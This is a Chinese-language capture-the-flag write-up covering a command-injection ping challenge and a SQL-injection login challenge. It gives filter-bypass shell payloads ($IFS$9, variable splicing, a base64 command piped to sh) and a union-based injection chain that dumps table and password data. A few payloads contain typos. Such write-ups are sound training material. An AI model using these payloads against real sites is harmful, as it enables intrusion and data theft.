我们可以看见有两个文件,分别是flag.php和index.php,因此我们可以构造payload

1
?ip=127.0.0.1;cat /flag.php

发现有过滤,通过尝试,发现空格字符和flag关键字被过滤,因此我们可以先查看源码,用$IFS$9来对空格过滤进行绕过

1
?ip=127.0.0.1;cat$IFS$9index.php

看到源码,然后分析源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "

";
print_r($a);
}

?>

有三种方法

第一种方法:
通过拼接法,构造payload:

1
?id=127.0.0.1;b=ag;cat$IFS$9fl$b.php

第二种方法
通过base64编码,构造payload

1
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

第三种方法
通过内联执行,构造payload

1
?ip=127.0.0.1;cat$IFS$9`ls`

命令执行的具体可以看:https://www.cnblogs.com/Tkitn/p/11661017.html

LoveSQL

sql注入基础

首先在password中构造万能语句:

1
admin'or 1=1#

可以看到admin的密码,要多尝试字符,看是什么闭合,这里是单引号闭合

然后使用

1
admin' union select 1,2,3#

找到返回数据显示的位置

然后构造联合注入语句

首先使用

1
admin' union select 1,(select database()),3#

找出当前使用数据库的名字

然后使用

1
admin' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#

查看数据表,看到有两张表,分别为geekuser和IOve1ysq1

然后查看两张表的字段的信息,发现flag在IOve1ysq1的password中

1
admin' union select 1,(select group_concat(columns_name) from information_schema.columns where table_schema=database() and table_name='IOve1sq1'#
1
admin' union select 1,2,group_concat(password) from IOve1ysq1#

可以看见flag